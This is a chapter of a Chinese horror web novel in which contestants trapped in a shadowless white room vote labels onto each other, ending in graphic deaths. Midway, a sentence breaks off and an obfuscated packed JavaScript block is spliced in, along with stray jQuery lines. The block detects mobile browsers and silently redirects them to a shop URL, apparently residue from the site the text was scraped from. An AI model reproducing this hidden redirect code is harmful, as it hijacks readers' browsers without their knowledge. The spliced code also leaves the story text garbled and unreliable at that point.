11. 他人即地狱①①

作品:《绝对主角综合症[无限]

    众人的目光齐刷刷望向谭公允的身下,只见男人的身下居然真的出现了一片模模糊糊灰黑色的影子,此刻正安静地在洁白的地板上流淌出一个人形。


    “影子……”


    这是他们进入这个诡异的白房间以后见到的第一份如此明显,可以称之为存在的影子。


    “你为什么有影子了?”有人惊恐地看着谭公允。


    浅灰色的影子层层叠叠,组成一个人形,再向天女散花一般四散开来,一个,两个,三个,许多个影子密密麻麻地一层叠一层地以谭公允的脚为圆心,围成一圈实心的圆。


    颜色却极为浅淡,似乎真的只是平日夜晚走在路上四面八方都有着不强烈光源的影子一样。


    众人屏住呼吸等待了好一会儿,谭公允却好好地站在哪里,什么事情也没有发生。


    “难道这个投票并不会死人?”有人小声发出提问,“毕竟这个鬼规则好像从来没说选出来的人会死?”


    众人一时间窃窃私语起来,白房子依旧没有影子,扉记将每个人的脸细细看过,每个人的脸上,身后,衣物的褶皱处全部都与本色相同。


    只是现在有了谭公允的存在,这个诡异的白房子不再是一片无阴影的纯白,这种白便愈发令人感到诡异晕眩。


    侧身看向丰秋玉,她颇为出神地盯着谭公允脚下的影子。


    “好像某种重瓣的花啊。你觉得呢?”她问扉记。


    “真漂亮,你认为他会死吗?”她似乎根本没想等他的回答,只是自言自语。


    “我猜会。”


    [考生林志强已做出选择,标签:狂妄,标签粘贴考生:丰秋玉]


    光幕上,各位考生的名字被投放出来,丰秋玉的名字后跟了个极其明显的狂妄二字。


    [请另外两位考生选择标签和考生]


    谢韵然扶着谭公允的手猛掐他一把,后者还陷在惊恐的情绪之中,一时没能完全会过神来,他有些茫茫然地看了谢韵然一眼,脸上下意识挤出一个比哭还难看的笑。


    “标签。”她小声提醒道,语气中暗含几分急切。


    谭公允终于心领神会,他像是抓住了最后一根救命稻草般像个学生一样下意识高举起手,“我要选标签!”


    他大致扫过一眼那些被分为三种颜色的标签,具体已经由不得他细想,只能随意从淡粉色中选出一个可能能救他于最后时刻的,“坚韧,谭公允!”


    光屏停顿一瞬,随即给出回答。


    [考生不得将标签贴于己身,请尊重考试规则,本场考试题目为:他者]


    [请考生谭公允重新选择考生]


    谭公允的脸色骤然灰白下去,但他还是强撑着,说出下一句话,“我选择考生……谢韵然。”


    [考生谭公允已做出选择,标签:坚韧,标签粘贴考生:谢韵然]


    [请剩余一人选择标签和考生]


    “你选谁?”丰秋玉偏头问。


    “你。”扉记淡淡答。


    他一步也没挪动,轻声开口,“我选偏执,丰秋玉。”


    他学着身边人偏头回望,“我认为这个词很适合你。”


    [考生扉记已做出选择,标签,偏执,标签粘贴于考生:丰秋玉]


    “这完全不公平吧!明明这个词更适合你!”她抗议道。


    “不过好吧,你选都选了。”丰秋玉无奈的耸肩,“其实确实也挺适合的,勉勉强强吧。”


    她的名字后面又多加了一个尾缀,债多不压身啊……她如是想。


    “没想到和你一起的人都背叛你,看来我的标签也真是没选错啊,你真是狂妄得过头了。”林志强幸灾乐祸地嘲笑丰秋玉。


    女人没有理会她,反而低下头掰着手指开始数数,“一个,两个,三个……”


    她突然抬头问林志强,“你想做第几个?”


    “你他妈被刺激疯了吧?”林志强像是见鬼一样白了她一眼,“你智力是不是不正常啊?”


    “我改变注意了。”丰秋玉盯着他,“我决定把你放在最后一个,不用担心,你一定会是最后一个的。”她轻声承诺。


    “我希望你能遭受到最大的痛苦。”她的唇瓣一张一合,真诚地许愿。


    居然敢侮辱她的智商,丰秋玉有些不开心了,这个混混决计不能让他善终了,她认真想,本来之前只是想要简单走个过场让他下线的,看来还是得做点事立威。


    [本次交流活动已结束,考生可自行回房休息,明日的交流活动将同时间在此地展开,请各位配合按时参加]


    人群在大厅停留一会儿,稀稀疏疏的散了,扉记和金苹还留在大厅,丰秋玉没有动作,他们也就同样没有动。


    “怎么一直停在这里呢?该回去了啊,明天还要有新的会议呢。”她问扉记,“你明天又会选谁呢?”


    “你。”


    “还真是无聊。”丰秋玉懒得再问她,径直往房间走去。


    金苹下意识就跟在她身后,于是她又停下来,后面的金苹也跟着急刹车。眼前是丰秋玉调笑的脸,“你不是已经可以自由行走了吗?苹果。”


    “既然已经不像是最开始那样无法行动,马上就要死掉的脆弱状态,就已经不需要依附于我了吧?”


    “苹果啊苹果,你该回到你自己的房间去了。”她拍拍她的头,“在那边,去吧,我会想念你的。”


    “苹果。”


    她温柔地吐出她的昵称,然后头也不回地离开了。


    现在只需要静静等待了,等待npc走向他们各自的命运。


    丰秋玉难得不想睡觉,也可能是前两天睡得实在太多,她现在才真切感受到扉记口中的疲惫与饥饿都被刻意弱化。


    没有任何感觉,存在于这世界上却没有任何感觉,无论属于人类的光与影,明与暗,平日中一切一切常被用来确认自我真实存在的事物都被刻意弱化。


    她静坐在床,左手摸上右手,狠狠掐了一把,只有轻微的痛感传来,就连痛苦也被吞噬到近乎于无。


    她已经完全知晓了这场考试最为深刻的“考点”。


    丰秋玉在此之前真切地疑惑过,为什么长虫那么小儿科的怪物就能将人吓得半死,为什么迟迟没有刷新更多的东西,按理来讲更大更凶猛的怪物早该出现了。


    但是她等啊等啊,一直等到百


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924237|192707||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无聊赖,大怪物还是没有出现,她终于完全地明了了。


    这是比纯粹血浆游戏更有意思的心理恐怖啊!


    难怪难怪,她心底的兴奋几乎要遏制不住,难怪啊!


    难怪是暴雪山庄的模式,难怪要将他们所有人都困在没有影子作为坐标的纯白色房间之中。


    在这场考试之中,一切我者都将被淡化,他者将会成为对比我者存在唯一坐标。他者存在,我者才存在,才拥有清晰明确的定义。


    丰秋玉笑出声,“真是蠢笨又有趣的模式啊。”


    “不知道这对于主角是没有意义的吗?”


    毕竟主角就是无论如何都能确定自身绝对信念的人啊。


    他者如何,跟我到底有什么关系呢?


    她只做出她自己的选择,丰秋玉如此想。


    她的选择就是,旁观别人做出的一切选择,再看着他们走向由自己选择的命运。


    多么民主?


    她长长吐出一口气,期待接下来将要发生的重头戏。


    “啊——!”


    门外传来短促而痛苦的尖叫,紧接着是众多房间同时间推门而出的轰隆声。


    丰秋玉起身,去为她亲爱的苹果做最后的哀悼。


    洁白的房间之中,金苹躺在床上,被子整齐地覆盖在身上,只是略微掀开一角。


    她惊恐地盯着某处,高仰起头,脸上已被密密麻麻的肉色卵状物包裹,脖颈被一道极细的伤口割开皮与骨,只剩下后颈略微的一点皮肉连着,从颈动脉中喷出的血不甚均匀地洒在天花板上,溅出极艳丽的红。


    “这是怎么回事?!”有人惊恐地后退两步,语气快要哭出来,他就住在隔壁,也是第一个推门进来的人,甫一进来就是如此震撼的场面。他被吓得瘫软在门上。


    人陆陆续续的到齐,丰秋玉和扉记也相继赶到。他们没有挤到人群之中去,远远地站在人群之外,静默注视着那个房间里发生的一切。


    人们慌乱,互相推搡,恐惧也很快在人群之中蔓延,最开始打开房门的人身边露出一个真空地带,他被质疑在那里待了那么久是否身上携带了长虫的病毒。


    “你伤心吗?”


    “有什么好伤心的,苹果只是走向了她自己选择的命运,我应该祝贺她。”


    “我猜对了。”


    “我知道。”


    “快到早上七点了。”


    两人齐齐回头,谢韵然和谭公允和他们一样游离于人群外。


    “现在应该问问谢韵然害不害怕了。”


    “我觉得应该不会,因为这也是她自己的选择。”


    她仍然站在他身边,他们的手依然紧紧相握。丰秋玉认为,这便是谢韵然的选择。


    “砰!”


    “七点了。”伴随扉记的报时声。


    谭公允的身体由内而外地炸开,犹如腐肉做成的绚丽烟花。


    糜烂而又华美,在白色的走廊中开出一朵淫靡鲜艳的层层叠叠的花。


    他的右手仍旧牵在谢韵然手中,她站在他身边没有受到任何伤害。


    只是被绽了满身血肉。


    鸦雀无声。